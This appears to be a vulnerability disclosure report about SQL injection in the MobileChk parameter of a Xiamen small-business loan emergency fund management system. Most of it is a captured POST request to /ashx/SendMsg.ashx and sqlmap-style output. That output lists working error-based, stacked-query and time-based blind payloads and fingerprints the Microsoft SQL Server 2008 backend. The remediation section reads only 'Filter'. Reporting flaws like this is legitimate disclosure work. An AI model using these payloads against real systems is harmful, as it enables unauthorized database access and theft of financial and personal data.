SQL injection vulnerability in Xiamen small and micro enterprises loan repayment Emergency Fund Management System

SQL injection vulnerability in Xiamen small and micro enterprises loan repayment Emergency Fund Management System

Vulnerability address:

POST /ashx/SendMsg.ashx HTTP/1.1Host: **.**.**.**Proxy-Connection: keep-aliveContent-Length: 21Accept: text/plain, */*; q=0.01Origin: http://**.**.**.**X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://**.**.**.**/Register.aspxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: Hm_lvt_d71f39ec68e78d8cdfff5c873ae7666a=1448456767; Hm_lpvt_d71f39ec68e78d8cdfff5c873ae7666a=1448456767; ASP.NET_SessionId=mp1kwsi5o30rcrymhr4o3qreMobileChk=18988888888

MobilChk parameter Injection

Parameter: MobileChk (POST)    Type: error-based    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause    Payload: MobileChk=18616791169' AND 1096=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1096=1096) THEN CHAR(49)ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(122)+CHAR(122)+CHAR(113))) AND 'pgpB'='pgpB    Type: stacked queries    Title: Microsoft SQL Server/Sybase stacked queries (comment)    Payload: MobileChk=18616791169';WAITFOR DELAY '0:0:5'--    Type: AND/OR time-based blind    Title: Microsoft SQL Server/Sybase time-based blind (comment)    Payload: MobileChk=18616791169' WAITFOR DELAY '0:0:5'-----[21:11:05] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 0back-end DBMS: Microsoft SQL Server 2008

Solution:

Filter